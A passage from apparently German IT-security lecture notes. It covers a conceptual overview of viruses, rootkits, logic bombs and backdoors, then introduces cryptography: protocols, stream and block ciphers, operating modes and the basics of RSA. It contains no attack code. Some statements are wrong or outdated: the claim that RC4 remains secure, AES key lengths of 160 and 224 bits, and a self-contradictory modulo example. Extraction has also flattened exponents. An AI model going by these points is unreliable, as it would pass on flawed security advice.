haben möchte. Die Auswirkungen von Viren sind also nicht wesentlich anders als
die Auswirkungen von Trojaner (s. o.). Systeme können ausgespäht bzw. beschädigt
werden, usw. usf. Das Wort „Payload“ kommt aus der Raketen-Industrie; es beschreibt
die Last, die getragen wird, und wofür der Raketen-Bauer bezahlt wird. Manchmal
ist das Payload leer; wenn z. B. der Virus-Bauer nur prüfen möchte, ob eine neue
Virus-Art sich erfolgreich selbst fortpflanzt.
Im letzten Schritt wird das ursprüngliche Programm ausgeführt. Das muss nicht
geschehen, nur wenn es ausgelassen wird, fällt die Infektion sofort auf. Wenn stattdessen die ursprungliche Funktionalität des infizierten Programmes nicht ausbleibt,
ist die Infektion schwieriger festzustellen bzw. zu finden.
Also hat das Virus zwei Herausforderungen: Es muss ein Programm infizieren,
ohne es so zu ändern, dass das Virus dabei auffällt. Und es muss sich vor eventuell
vorhandenen Antiviren-Anwendungen verstecken, d. h. es muss die Entdeckung durch
Antiviren-Software vermeiden.
Abwehr von Viren: Antiviren-Software Sehe [ASH+ 14]. Sehe auch [WBR13].
23
3 Malware
Abbildung 3.3: Wie Viren versteckt werden können: (a) ausführbares Programm, (b)
infiziertes Programm, mit Virus am Ende; (c) mit Virus über freien
Zwischenräume verteilt. (d) infiziertes komprimiertes Programm. Vgl.
[Tan09], Abb. 9–28 und Abb. 9–32.
3.3.3 Ausnutzung von Bugs
Abwehr von Angriffe, die Bugs ausnutzen S. Kapitel 11.
Malware in Klasse 1 ändert einen kritischen Teil des Systems, der (so gut wie)
nie geändert werden sollte. Das heißt an der einerseits, dass es möglich sein sollte,
solche Malware zu finden, indem wir nach solchen unerwarteten Änderungen suchen.
Anderseits kann eine Klasse 1 Malware die Suche erschweren, indem kritische Teile
des Systems, die unter Umständen für die Suche notwendig sind, selbst geändert
werden.
Zu dieser Klasse zählen wir hier sowohl Rootkits, als auch Backdoors, Logik-Bomben
und andere Insider-Angriffe.
3.4.1 Rootkits
Abwehr von Rootkits
3.4.2 Backdoors, Logik-Bomben und andere Insider-Angriffe
Alle Malware dieser Art ist aus technischen Sicht nichts Ungewöhnliches: Es ist
einfach Software, die von Mitarbeiterinnen bzw. Mitarbeitern einer Firma hergestellt
24
Abbildung 3.4: Wie Viren versteckt werden können: (a) infiziertes und komprimiertes
Programm, (b) dasselbe Programm, mit verschlüsselter Virus, (c)
dasselbe Programm, mit verschlüsselter Komprimierungssoftware.
Vgl. [Tan09], Abb. 9–32
und installiert wurde. Nur die fragwürdige Absicht der Hersteller macht hier aus
Software Malware.
Unter „Logik-Bomben“, versteht man zum Beispiel Programme, oder Teile von
Programmen, die harmlos bleiben bis etwas passiert. Zum Beispiel könnte eine LogikBombe immer wieder prüfen, ob sein Programmierer noch auf der Gehaltsliste der
Firma ist. Sollte er dort nicht auftauchen, „geht die Bombe hoch“, d.h. irgendetwas
passiert, nachdem der Ex-Mitarbeiter gegangen ist (bzw. gegangen wurde).
Unter „Backdoors“, d.h. Hintertüre, versteht man Software, die Zugang zu einem
System gewährt, wobei die normalen Zugangskontrollen umgangen werden.
Zum Beispiel, wo normalerweise jedes Passwort gegen eine kundenspezifischen
Datenbank getestet wird, könnte ein Backdoor ein besonderes „Dietrich“-Passwort
immer erkennen. Das Backdoor wurde vielleicht programmiert, um den Kundendienst
zu erleichtern, oder um Behörden Zugang zu Systemen zu gewährleisten.
Die Schwierigkeit einer Definition von „Malware“ wird hier besonders klar: Ein
Backdoor kann in den Augen eines Software-Lieferanten ein „Feature“ darstellen;
jedoch vom Kunden als Angriff gesehen werden.
Abwehr von Insider-Angriffe
25
3 Malware
3.5 Malware Klasse 3: Malware und virtuelle
Maschinen
Die Existenz vonvirtuellen Maschinen (VMs) stellt neue Möglichkeiten bzw. Herausforderungen für Malware dar.
26
4 Kryptographie
Die Kryptographie, aus dem Altgriechischen „κρνπτ oσ“ (geheim) und „γραϕιν“
(schreiben) abgeleitet, ist die Wissenschaft der Verschlüsselung von Nachrichten.
Ursprünglich in der Antike eingesetzt, um diplomatischen und militären Briefwechsel
geheim zu halten, entwickelte sich die Kryptographie zu einer unverzichtbaren Wissenschaft im heutigen digitalen Informationszeitalter um die sicherheitsrelevanten
Schutzziele gewährleisten. Neben dem Begriff „Kryptographie“ wird auch „Kryptologie“ verwendet, welches als Oberbegriff für die beiden Disziplinen „Kryptographie“
und „Kryptoanalyse“ betrachtet werden kann. Die Kryptoanalyse – als Gegenstück
zur Kryptographie – umfasst die Analyse von kryptographischen Verfahren mit dem
Ziel des „Codeknackens“.
Im vorliegenden Kapitel werden wir in die grundlegenden Prinzipien der Kryptographie einführen. Sämtliche eingeführte Begriffe, Methoden und Verfahren sind in
jedem guten Buch über Kryptographie erläutert. Zu nennen sind hier beispielsweise
die Bücher von Beutelspacher et al. [AB09], Paar und Pelzl [CP09], oder Schmeh
[Sch09].
27
4 Kryptographie
4.1 Grundlagen der Kryptographie
Grundlage der kryptographischen Betrachtung ist das folgende Kommunikationsystem, welches für alle Kommunikationsarten zwischen zwei Parteien zutrifft (siehe
Abbildung 4.1). Die klassischen Protagonisten sind „Alice“ und „Bob“, die Nachrichten austauschen. Ein Angreifer meist „Eve“, „Mallory“ oder „Oskar“ genannt,
wirkt auf den Kommunikationskanal zwischen A und B ein. Je nach Stärke des
Angreifers kann er passiv, die Daten abhören oder aktiv in das Geschehen eingreifen,
indem er gesendete Daten manipuliert, selbst Nachrichten schickt und verhindert,
dass gesendete Nachrichten bei dem Empfänger ankommen.
Oskar (O)
Alice (A) ?
-
Bob (B)
Abbildung 4.1: Modell des Kommunikationssystems
Durch kryptographische Mechanismen (nicht nur Verschlüsselung) können nun
diverse Schutzziele adressiert werden:
• Vertraulichkeit. Nachrichten zwischen A und B können nicht von O gelesen
werden.
• Integrität. Nachrichten zwischen A und B werden nicht verändert, bzw. A und
B können erkennen, ob Daten verändert wurden.
• Nachrichtenauthentizität. B kann Nachrichten, welche von A gesendet wurden,
zweifelsfrei A zuordnen.
• Teilnehmerauthentizität. B kann die Identität des aktuellen Kommunikationspartners A zweifelsfrei feststellen.
• Verbindlichkeit. B kann Nachrichten, die von A gesendet werden, zweifelsfrei
einer dritten Partei als Nachrichten von A nachweisen.
Historisch bedingt ist die Vertraulichkeit bei der Kommunikation zweier Teilnehmer
A und B das wohl bekannteste Schutzziel. Nur der berechtigte Empfänger einer
Nachricht soll dabei in der Lage die Nachricht lesen zu können. Dazu verwendet
er eine zusätzliche Information, die entweder nur er alleine kennt bzw. höchstens
noch der Sender der Nachricht. Diese zusätzliche Information wird Schlüssel genannt,
die ursprüngliche lesbare Nachricht heißt Klartext und die veränderte nicht lesbare
Nachricht wird als Geheimtext bezeichnet.
Ein Algorithmus zur Verschlüsselung ist ein Methode „enc“, welche einen Schlüssel
k und einen Klartext m als Eingabeparameter erhält. Die dazugehörige Ausgabe ist
der entsprechende Geheimtext c.
28
Ein dazugehöriger Algorithmus „dec“ zur Entschlüsselung beschreibt die Umkehrung der Verschlüsselung, d.h. wendet man nun „dec“ auf c mit dem richtigen Schlüssel
an, so erhält man die ursprüngliche Nachricht m. In der klassischen Kryptographie ist
der Schlüssel zum Entschlüsseln einer Nachricht derselbe wie bei der Verschlüsselung.
Man spricht daher von einer symmetrischen Verschlüsselung.
Allgemein werden alle kryptographischen Methoden – nicht nur Verschlüsselung –
in zwei Kategorien eingeteilt: in symmetrische und asymmetrische Verfahren.
Bei dem symmetrischen Ansatz besitzen beide Parteien A und B denselben geheimen Schlüssel k, welcher vorab über einen vertraulichen und authentischen Kanal
ausgetauscht werden muss, d.h. es muss sichergestellt sein, dass keine dritte Partei
den Schlüssel lesen oder manipulieren kann.
Bei dem asymmetrischen Ansatz hingegen besitzt jeder Teilnehmer A und B ein
eigenes Schlüsselpaar (e, d), bestehend aus einem öffentlichen Schlüssel e und einem
dazugehörigen privaten Schlüssel d. Der öffentliche Schlüssel eines Teilnehmers wird
vor dem eigentlichen Nachrichtenaustausch über einen authentischen Kommunikationskanal an den entsprechenden Kommunikationsteilnehmer übermittelt, d.h. eine
dritte Partei kann den Schlüssel e lesen, aber darf ihn nicht verändern können. Im Gegensatz zum symmetrischen Ansatz muss die Übertragung des öffentlichen Schlüssel
also nicht geheim sein. Aufgrund dieser Eigenschaft werden asymmetrische Verfahren
auch als Public-Key-Verfahren bezeichnet.
Eines der wichtigsten Grundprinzipien der Kryptographie ist, dass wir den Angreifern die Kenntnis der Verfahren und Protokolle zugestehen bis auf die geheimen
Schlüssel von Sendern und Empfängern. Die Sicherheit der kryptographischen Verfahren soll nur von der Sicherheit der geheimen Schlüssel abhängen.
Kerchhoff’sches Prinzip. Ein Angreifer kennt die kryptographischen Verfahren,
nur die privaten oder symmetrischen Schlüssel sind geheim.
Wir betrachten nun einige rudimentäre Protokolltypen für symmetrische und
asymmetrische Verfahren, um die genannten Schutzziele zu erreichen.
Symmetrische Verschlüsselung
Sei „enc“ ein symmetrischer Verschlüsselungsalgorithmus mit dazugehöriger Entschlüsselung „dec“, d.h. für alle Klartexte m und alle Schlüssel k gilt die Bedingung
dec(k, enc(k, m)) = m. Ein vertraulicher Nachrichtenaustausch von A nach B ergibt
sich also wie folgt:
Mittels symmetrischer Verschlüsselung wird das Schutzziel der Vetraulichkeit realisiert. Beispiele symmetrischer Verschlüsselungsalgorithmen mit unterschiedlicher
Bitlänge sind die Blockchiffren DES (Luzifer) bzw. 3DES, AES (Rijndael), Blowfish,
Serpent oder Twofish.
29
4 Kryptographie
A Schlüssel: k
B Schlüssel: k
compute c := enc(k, m)
c
−→
compute m0 := dec(k, c)
Abbildung 4.2: Symmetrische Verschlüsselung
Message-Authentication-Code (MAC)
Ein MAC-Algorithmus „mac“ bestimmt bei Eingabe eines symmetrischen Schlüssels k
und einer Nachricht m einen kurzen (möglichst) eindeutigen Wert t := mac(k, m) fester Länge, welcher charakteristisch für die Nachricht m ist. Wie der Name sagt, möchte
man also mit einem MAC die Nachrichtenauthentizität feststellen. Da unendlich viele
Nachrichten auf eine endliche Menge von Werten einer festen Länge abgebildet werden
können, gibt es nach dem Schubfachprinzip (oder auch Taubenschlagprinzip genannt),
Kollisionen. Mit dem gleichen Schlüssel k gibt es zwei Nachrichten m und m0 mit
mac(k, m) = mac(k, m0 ). Da sich dies mathematisch nicht vermeiden lässt, muss
der MAC-Algorithmus so entworfen werden, dass solche Kollisionen nur mit einer
ausreichend niedrigen Wahrscheinlichkeit entstehen. Das Protokoll zur Überprüfung
der Nachrichtenauthentizität mit einem MAC-Algorithmus sieht nun wie folgt aus.
Beide Seiten benötigen denselben geheimen Schlüssel k.
A Schlüssel: k
B Schlüssel: k
compute t := mac(k, m)
m,t
−→
compute t0 := mac(k, m)
if t0 = t then accept
else reject
Abbildung 4.3: Message-Authentication-Code (MAC)
Algorithmen zur Berechnung eines Message-Authentication-Codes basieren meist
auf Hashfunktionen oder Blockchiffren.
Symmetrisches Challenge-Response-Protokoll
Bei einem solchen Protokoll geht es darum, dass ein Kommunikationspartner B
gegenüber dem anderen Teilnehmer A nachweist, dass er im Besitz eines geheimen
Schlüssels ist ohne explizit den geheimen Schlüssel zu verraten. Dies dient dem
Teilnehmerauthentizität. Der Teilnehmer B zeigt, dass er den für ihn vorgesehenen
geheimen Schlüssel k kennt. Die Idee dieser Challenge-Response-Protokolle basiert
darauf, dass A dem Teilnehmer B eine sogenannte Challenge c schickt, für die B die
korrekte Respone r mit Hilfe des geheimen Schlüssels k berechnen kann. Es wird dabei
30
angenommen, dass r aus c auch nur mit dem dazugehörigen Schlüssel k berechnet
werden kann. Es gibt mehrere Varianten für Challenge-Reponse-Protokolle. Beispielsweise kann eine symmetrische Chiffre oder ein MAC-Algorithmus verwendet werden.
Im folgenden Protokoll wird eine Verschlüsselungs- und Entschlüsselungsroutine
verwendet.
A Schlüssel: k
B Schlüssel: k
choose random c
c
−→
compute r := enc(k, c)
r
←−
compute c0 := dec(k, r)
if c0 = c then accept
else reject
Abbildung 4.4: Symmetrisches Challenge-Response-Verfahren
Asymmetrische Verschlüsselung
Wie bereits erwähnt besitzt ein Kommunikationsteilnehmer B ein Paar (e, d) bestehend aus dem öffentlichen Schlüssel e und dem privaten Schlüssel d. Der öffentliche
Schlüssel e wird vor Beginn der eigentlichen vertraulichen Kommunikation dem zweiten Kommunikationsteilnehmer A mitgeteilt. Dabei muss beachtet werden, dass der
Schlüssel manipulationsgeschützt an A übermittelt wird. Der vertrauliche Nachrichtenaustausch von A nach B geschieht dann wie folgt:
B Schlüssel: (e, d)
A
e
←−
compute c := enc(e, m)
c
−→
compute m0 := dec(d, c)
Abbildung 4.5: Asymmetrische Verschlüsselung
Die verwendete Verschlüsselung bzw. Entschlüsselung erfüllen für alle Klartexte m
die Eigenschaft dec(d, enc(e, m)) = m. Die Grundidee des asymmetrischen Ansatzes
besteht darin, dass man den öffentlichen Schlüssel e auf nicht vertraulichen Wege
verbreiten kann. Diese Eigenschaft impliziert, dass man mittels e keine Klartexte aus
Geheimtexte berechnen kann und dass man aus e auch nicht den privaten Schlüssel
d gewinnen kann. Asymmetrische Verschlüsselungsverfahren sind beispielsweise RSA,
ElGamal, oder ElGamal-Varianten auf Basis elliptischer Kurven.
31
4 Kryptographie
Digitale Signatur
Das Analogon eines MACs für die asymmetrische Situation ist die so genannte digitale
Signatur. Der Kommunikationsteilnehmer A besitzt das asymmetrische Schlüsselpaar
(e0 , d0 ). Zunächst übermittelt A an den Kommunikationsteilnehmer den öffentlichen
Schlüssel e0 . Anschließend signiert A eine Nachricht m mittels eines Signaturalgorithmus „sign“ und mittels des eigenen privaten Schlüssels d0 . Anschließend wird die
Signatur s zusammen mit der Nachricht m an den Teilnehmer B gesendet. Dieser
kann nun mittels des Verifikationsalgorithmus „verify“ und mittels des öffentlichen
Schlüssels e0 von A überprüfen, ob die Nachricht m wirklich von A erstellt wurde.
A Schlüssel: (e0 , d0 )
B
compute s := sign(d0 , m)
m,s
−→
compute v := verify(e0 , m, s)
if v = true then accept
else reject
Abbildung 4.6: Digitale Signatur
Dieses Verfahren setzt voraus, dass man mit dem öffentlichen Schlüssel keine
korrekte digitale Signatur erstellen kann oder aus dem öffentlichen Schlüssel nicht
den dazugehörigen privaten Schlüssel generieren kann. Beispiels für Digitale Signaturverfahren sind RSA-Signatur, Digital Signature Algorithm (DSA) oder auch die
elliptische Kurvenvariante EC-DSA.
Neben der Nachrichtenauthentizität und Integrität kann man mit einer digitalen
Signatur auch das Schutzziel Verbindlichkeit realisieren, da nur der Besitzer des
privaten Schlüssels eine gültige Signatur erzeugen kann.
Asymmetrisches Challenge-Response-Protokoll
Ähnlich der symmetrischen Variante geht es bei dem Challenge-Response-Protokoll
hier darum, nachzuweisen, dass man in Besitz des privaten Schlüssels ist, ohne
diesen direkt an den Kommunikationspartner zu übermitteln. Der erste Teilnehmer
A übermittelt eine zufällige Challenge, auf die der zweite Teilnehmer mit einer
entsprechenden Response antwortet. Die gültige Response kann dabei nur mit dem
korrekten privaten Schlüssel von B berechnet werden. Anschließend verifiziert A die
erhaltene Reponse mit dem öffentlichen Schlüssel von B. Das folgende Protokoll zeigt
eine Variante mit einem asymmetrischen Verschlüsselungsverfahren.
4.2 Stromchiffren
Symmetrische Verschlüsselungsverfahren werden grundlegend in zwei Klassen eingeteilt: Stromchiffren und Blockchiffren. In diesem Abschnitt beschäftigen wir uns mit
32
4.2 Stromchiffren
B Schlüssel (e, d)
A
e
←−
choose random r0
compute c := enc(e, r0 )
c
−→
compute r := dec(d, c)
r
←−
if r0 = r then accept
else reject
Abbildung 4.7: Asymmetrisches Challenge-Response-Verfahren
Stromchiffren.
Prinzipiell können wir davon ausgehen, dass Nachrichten als eine binäre Folge
m0 , m1 , m2 , m3 , . . . von Nullen und Einsen vorliegt, d.h. mi ∈ {0, 1}. Wir bezeichnen
diese Folge als Klartextstrom oder Nachrichtenstrom. Die Idee bei einer Stromchiffre
besteht nun darin, dass man diesen Klartextstrom mit einer Folge von Schlüsselbits
b0 , b1 , b2 , b3 , . . ., d.h. bi ∈ {0, 1}, dem so genannten Schlüsselstrom XOR-verknüpft
ci := mi ⊕ bi ,
i≥0
und man dadurch eine Folge von Geheimtextbits c0 , c1 , c2 , c3 , . . ., d.h. ci ∈ {0, 1},
erzeugt. Aufgrund der Assoziativität1 der der XOR-Verknüpfung gilt
ci ⊕ bi = (mi ⊕ bi ) ⊕ bi = mi ⊕ (bi ⊕ bi ) = mi
d.h. durch bitweises XOR-Verknüpfen des Geheimtextstromes mit dem Schlüsselstrom
kann der Klartextstrom zurückgewonnen werden bei der Entschlüsselung. Diese
Eigenschaft kann man anhand der Verknüpfungstabelle leicht nachvollziehen:
⊕ 0 1
0 0 1 .
1 1 0
Wird der Schlüsselstrom b0 , b1 , b2 , b3 , . . . zufällig gebildet, so wird das beschriebene
Verschlüsselungsverfahren zu einem „unknackbaren“ Verschlüsselungssystem, welches
One-Time-Pad genannt wird, oder auch Vernam-Chiffre – benannt nach deren
Erfinder. Da der Schlüsselstrom aus den zufälligen Schlüsselbits genauso lang ist
wie Geheim- bzw. Klartextstrom, kann jeder Geheimtextstrom zu jedem beliebigen
Klartextstrom entschlüsselt werden, da jede mögliche Schlüsselbitfolge einen gültigen
Schlüssel darstellen kann.
Die Wahl des zufälligen Schlüsselstroms des One-Time-Pads liefert auf der einen
Seite die Eigenschaft, dass das Verfahren beweisbar sicher ist, aber auf der anderen
1
Umklammern ist möglich.
33
4 Kryptographie
Seite ist ein genauso langer Schlüssel wie die eigentlichen Nachrichten bzw. Klartexte
ein erheblicher Nachteil, da dieser Schlüsselstrom in seiner vollen Länge zwischen
Sender und Empfänger ausgetauscht werden müssen. Aus diesen praktischen Gründen
wählt man daher den Ansatz keine echte Folge von zufälligen Schlüsselbits zu verwenden, sondern aus einem kurzen Schlüssel eine Folge von pseudozufälligen Schlüsselbits
zu generieren.
Die Schwierigkeit bei dem Entwurf eines solchen Pseudozufallszbitgenerators ist es,
dass die ausgegebene Folge von Schlüsselbits statistisch und kryptographisch dieselben
Eigenschaften aufweisen müssen wie echte aus pysikalischen Quellen erzeugte Zufallsbitfolgen. Echte Zufallsbitfolgen können beispielsweise nicht reproduziert werden.
Werfen wir beispielsweise 100 Mal eine Münze (Kopf entspricht 1 und Zahl entspricht
0) so erhalten wir eine Bitfolge der Länge 100. Die Wahrscheinlichkeit exakt diese
Bitfolge erneut bei einem 100 maligen Werfen der Münze zu wiederholen besitzt nun
eine Wahrscheinlichkeit von 1/2100 , was sehr gering ist. Pseudozufallsbitgeneratoren
werden algorithmisch durch eine Rekursion berechnet:
s0 = seed
si+1 = f (si ),
i ≥ 0.
D.h. si+1 wird aus dem vorherigen Werten si mittels einer Funktion f berechnet.
Gestartet wird mit einem Seed-Wert, der in diesem Fall einen kurzen geheimen
Ausgangsschlüssel k ∈ {0, 1}n einer festen Länge n darstellt. In der Praxis werden
Pseudozufallsbitgeneratoren häufig mittels Schieberegister realisiert, die miteinander
kombiniert werden.
Beispiele für Stromchiffren, die mittels Pseudozufallsbitgeneratoren realisiert werden sind RC4, SEAL oder Algorithmen aus dem eSTREAM Projekt. Hier wurden
aus 34 eingereichten Kandidaten sieben Stromchiffren ausgewählt: HC-128, Rabbit,
Salsa20/12, SOSEMANUK für Software-Implementierungen und Grain v1, MICKEY
sowie Trivium für eine Hardware-Implementierung. Der Algorithmus RC4 weist zwar
bekannte Schwächen auf, aber für eine praktische Implementierung gilt er bei der
korrekten Verwendung nach wie vor als sicher.
4.3 Blockchiffren
Eine zweite Möglichkeit zur Realisierung von symmetrischen Verschlüsselungsalgorithmen stellen die Blockchiffren dar. Bei einer Blockchiffre wird die Nachricht in
eine Folge m1 , m2 , m3 , . . . von Klartextblöcken derselben Länge ` aufgeteilt, d.h. wir
erhalten mi ∈ {0, 1}` (Vorsicht: Bei Stromchiffren waren die mi einzelne Bits). Anschließend werden einzelne Blöcke der Länge ` mittels einer Blöckchiffre und einem
Schlüssel k der Länge n verschlüsselt und man erhält einzelne Geheimtextblöcke der
Länge `. Mathematisch gesehen stellt also eine Blockchiffre eine Funktion f dar, die
als Eingabe einen Bitvektor m der Länge `, sowie einen Bitvektor k der Länge n
erhält und einen Bitvektor c der Länge ` als Ergebnis liefert, d.h. c = f (k, m). Um
34
4.3 Blockchiffren
korrekt entschlüsseln zu können, wird vorausgesetzt, dass diese Funktion f umkehrbar
ist, d.h. es gilt m = f −1 (k, c).
Betriebsmodi
Um nun eine Folge von Klartextblöcken m1 , m2 , m3 , . . . mittels der Blockchiffre zu
veschlüsseln, kann man verschiedenen Betriebsmodi vorgehen.
Der naheliegenste Modus nennt sich Electronic-Code-Book (ECB) und verschlüsselt
die einzelnen Blöcke unabhängig voneinander, d.h. wir berechnen eine Folge von
Geheimtextblöcken c1 , c2 , c3 , . . . mittels
ci = f (k, mi ),
i ≥ 1.
Die entsprechende Entschlüsselung wendet die Umkehrung der Blockchiffre auf jeden
Geheimtextblock an:
mi = f (k, ci ), i ≥ 1.
Ein großer Nachteil dieser Vorgehensweise ist, dass gleiche Klartextblöcke zu gleichen
Geheimtextblöcken führen. Wiederholen sich also Klartextblöcke innerhalb einer
Nachricht, so wiederholen sich in den gleichen Abständen dieselben Geheimtextblöcke.
Somit können evtl. auftretende Klartextmuster im Geheimtext wiedererkannt werden.
Dies führt zu potenziellen Angriffsmöglichkeiten. Der ECB-Modus sollte daher nur
dann verwendet werden, wenn Nachrichten sehr kurz sind und die Wahrscheinlichkeit
von gleichen wiederholt auftretenden Klartextblöcken klein zu halten.
Um diese Schwachstelle des ECB-Modus zu beheben, verwendet man in der Praxis
für längere Nachrichten weitere Modi, die bei der Verschlüsselung Abhängigkeiten
zwischen den einzelnen Blöcken zu erzeugen. Der Modus Cipher-Block-Chaining
(CBC) verknüpft jeden Klartextblock mi für i ≥ 1 vor der Blockverschlüsselung mit
dem vorhergehendeen Geheimtextblock bitweise XOR-verknüpft wird
c0 = random
ci = f (k, mi ⊕ ci−1 ),
i ≥ 1.
Zu beachten ist dabei, dass der erste Klartextblock m1 mit einem zufällig gewählten
Block c0 XOR-verknüpft wird, der an den Empfänger gesendet wird. Um nun zu
entschlüsseln, wird nach Anwenden der Umkehrfunktion der Blockchiffre auf den
Block ci der vorherige Block ci−1 binär dazu addiert (d.h. XOR-verknüpft):
mi = f −1 (k, ci ) ⊕ ci−1 ,
i ≥ 1.
Wie beim CBC-Modus erreicht man mit dem Modus Cipher-Feedback (CFB) die
Abhängigkeit eines Geheimtextblocks von dem vorangegangenen Geheimtextblock.
Auch wird hier ein zufälliger Startwert (Initilisierungsvektor) c0 vorausgesetzt, der
ebenfalls zum Empfänger übermittelt wird:
c0 = random
ci = mi ⊕ f (k, ci−1 ),
i ≥ 1.
35
4 Kryptographie
Der Modus Output-Feedback (OFB) ist ein stromorientierter Modus, der eine
Folge von Pseudozufallsblöcken berechnet und diese dann mit dem Klartextblöcken
XOR-verknüpft:
s0
si
c0
ci
= random
= fk (si−1 ), i ≥ 1
= s0
= mi ⊕ si , i ≥ 1.
Ein weiterer stromorientierter Modus ist der Counter-Modus (CTR). Bei diesem
Modus wird ein Strom aus Pseudozufallsblöcken durch einen Zähler erzeugt:
c0 = random
si = fk (c0 + i), i ≥ 1
ci = mi ⊕ si , i ≥ 1.
4.1 Aufgabe. Unter welchen Umständen erhält man beim CBC-Modus bei den
gleichen Klartextblöcken auch die gleichen Geheimtextblöcke?
4.2 Aufgabe. Beschreiben Sie analog zum ECB- und CBC-Modus die Entschlüsselung der Folge der Geheimtextblöcke für den CFB-, OFB- und CTR-Modus.
4.3 Aufgabe. Welche Konsequenzen hat ein Vertauschen oder Löschen von Blöcken
beim CTR-Modus? Über wie viele Blöcke pflanzen sich Fehler fort?
Entwurf von Blockchiffren
Wie bereits erwähnt bildet eine Blockchiffre f einen binären Klartextblock m der
Länge ` auf einen binären Geheimtextblock c der Länge ` ab (unter Zuhilfenahme
eines binären Schlüssels k der Länge n), d.h. f (k, −) beschreibt eine Abbildung
von {0, 1}` nach {0, 1}` . Damit f (k, −) umkehrbar ist für eine Entschlüsselung
wird an die Funktion f (k, −) die Bedingung gestellt, dass diese zwei verschiedene
Klartextblöcke auf verschiedene Geheimtextblöcke abgebildet wird2 . Kombinatorisch
lässt sich berechnen, dass es insgesamt (2` )! solche injektiven Funktionen gibt. Da ` in
der Praxis ein Vielfaches von 64 darstellt, erhält man eine astronomische Anzahl von
möglichen Blockchiffrenfunktionen. Über den Schlüssel k der binären Länge n wird
dann eine von (2` )! Verschlüsselungsfunktionen für f ausgewählt. Da es 2n Schlüssel
der Länge n gibt, erreicht man damit „nur“ 2n verschiedene Verschlüsselungen, was
bei n ≥ 80 immer noch eine riesige Anzahl ist.
Eine der wichtigsten Ansätze um eine Blockchiffre zu konstruieren ist die Produktchiffre. Dabei handelt es sich um eine Kombination von Substitutionen und
Permutation über mehrere Runden. Es werden die Klartextblöcke der Länge ` in
mehrere kleinere Blöcke zerlegt (z.B. 8 Bit) und anschließend werden die einzelnen
2
Diese Eigenschaft heißt Injektivität
36
4.4 Public-Key-Verfahren
kurzen Blöcke mittels einer Substitution durch neue Blöcke ersetzt. Solche Substitutionen lassen sich meist effizient mittels Tabellen implementieren. Im nächsten Schritt
wird dann auf den gesamten durch die Substitution entstandenen Geheimtextblock
eine Permutation durchgeführt, die dafür sorgt, dass die kleinen Blöcke nach der
Substitution gründlich durchgemischt werden. Diese Vorgehensweise wird dann über
mehrere Runden durchgeführt.
Der berühmteste Vertreter einer solchen Produktchiffre ist der Algorithmus Rijndael,
welcher im Jahr 2000 durch das National Institute of Standardization Technologies
(NIST) zum Advanced Encryption Standard (AES) erklärt wurde. Der AES ermöglicht
eine Blocklänge ` = 128 und Schlüssellängen n = 128, 160, 192, 224 oder 256. Weitere
verwendbare Blockchiffren, die an der AES-Ausschreibung teilgenommen haben (nicht
alle sind Produktchiffren) sind Mars, RC6, Serpent oder Twofish.
Bei der symmetrischen Verschlüsselung wird davon ausgegangen, dass sowohl der
Empfänger als auch der Sender den geheimen Schlüssel besitzt. Im Gegensatz dazu
beschrieben Diffie und Hellmann [DH76] im Jahre 1976 das Konzept der asymmetrischen Kryptographie, auch Public-Key-Kryptographie genannt. Nur der Empfänger
einer Nachricht muss den geheimen Schlüssel besitzen. Der Schlüssel zur Verschlüsselung einer Nachricht kann öffentlich bekannt sein. Das wohl berühmteste Beispiel für ein solches asymmetrisches Verschlüsselungssystem ist das 1977 publizierte
Verfahren [RSA78] nach Rivest, Shamir, Adleman. Das Verfahren wird auch als
RSA-Verschlüsselung bezeichnet. Die Sicherheit des RSA-Verfahrens basiert darauf,
dass man zwei Primzahlen effizient miteinander multiplizieren kann, aber es keinen
effizienten Algorithmus gibt eine zusammengesetzte Zahlen in ihre Primfaktoren zu
zerlegen.
Modulare Arithmetik
Die mathematische Grundlage für RSA-Berechnungen ist die Arithemtik modulo
einer natürlichen Zahl n. Sind x und n natürliche Zahlen, so definieren wir
r = x mod n
als die natürliche Zahl r, die dadurch entsteht, dass man von x solange n abzieht, bis
man eine natürliche Zahl kleiner als n erreicht. Der Wert r wird als der modulare
Rest von x durch n bezeichnet. Beispielsweise gelten folgende Berechnungen:
• 14 mod 11 = 3, da 14 − 1 · 11 = 3 < 11.
• 32 mod 5 = 2, da 27 − 6 · 5 = 2 < 5.
• 14 mod 7 = 0, da 14 − 2 · 7 = 0 < 7.
• 5 mod 9 = 5, da 5 − 0 · 9 = 5 < 9.
37
4 Kryptographie
Für eine weitere natürliche Zahl k wird
xk mod n
als modulare Exponentation bezeichnet. Um den Wert xk mod n zu berechnen, kann
die folgende Regel angewendet werden. Anstatt zuerst xk und anschließend modulo n
zu berechnen, kann man „zwischendurch“ modulo n reduzieren, da für alle natürliche
Zahlen x, y gilt:
(xy) mod n = [(x mod n)(y mod n)] mod n
Beispielsweise erhalten wir
38 mod 7 = (34 · 34 ) mod 7
= [(81 mod 7) · (81 mod 7)] mod 7
= [4 · 4] mod 7 = 16 mod 7
= 2.
RSA
Das Verschlüsselungsverfahren RSA basiert auf einer mathematischen Rechenregel,
die als der Satz von Euler bekannt ist. Dafür wird die eulersche φ-Funktion benötigt:
Für eine natürliche Zahl n definiert der Wert φ(n) die Anzahl der positiven ganzen
Zahlen kleiner n, welche teilerfremd zu n sind, d.h. deren größter gemeinsamer Teiler
mit n gleich Eins ist. Ist n das Produkt zweier verschiedener Primzahlen p und q, so
lässt sich der Wert φ(n) mittels
φ(n) = (p − 1)(q − 1)
berechnen.
4.1 Beispiel. Wir berechnen die Anzahl der zu 15 = 3 · 5 teilerfremden Zahlen.
Durchprobieren aller Zahler kleiner als 15 ergibt folgende acht zu 15 teilerfremden
Zahlen:
1, 2, 4, 7, 8, 11, 13, 14.
Dieselbe Anzahl berechnet kann mit der eulerschen φ-Funktion berechnet werden.
Da 15 das Produkt zweier Primzahlen 3 und 5 gilt folglich
φ(15) = (3 − 1)(5 − 1) = 2 · 4 = 8.
Im allgemeinen ist es sehr aufwändig für eine Zahl n den Wert φ(n) zu berechnen. Da
n für kryptographische Zwecke als eine sehr große Zahl gewählt wird (mindestens 1024
binäre Stellen), ist es nicht möglich einfach alle Zahlen kleiner als n zu durchlaufen
und zu testen, ob diese Zahlen teilerfremd zu n sind. Man kann zeigen dass die
Berechnung von φ(n) ist von der Komplexität so aufwändig ist wie das Zerlegen
der Zahl n in ihre Primfaktoren. Dies jedoch ist auch ein sehr komplexes Problem,
welches nicht effizient gelöst werden kann.
Der Satz von Euler besagt nun:
38
4.2 Theorem (Euler). Seien n und k natürliche Zahlen. Dann gilt für alle natürliche
Zahlen m < n die Gleichung
mkφ(n)+1 mod n = m.
Der Ansatz des RSA-Algorithmus ist nun, zwei Werte e und d zu finden, so dass
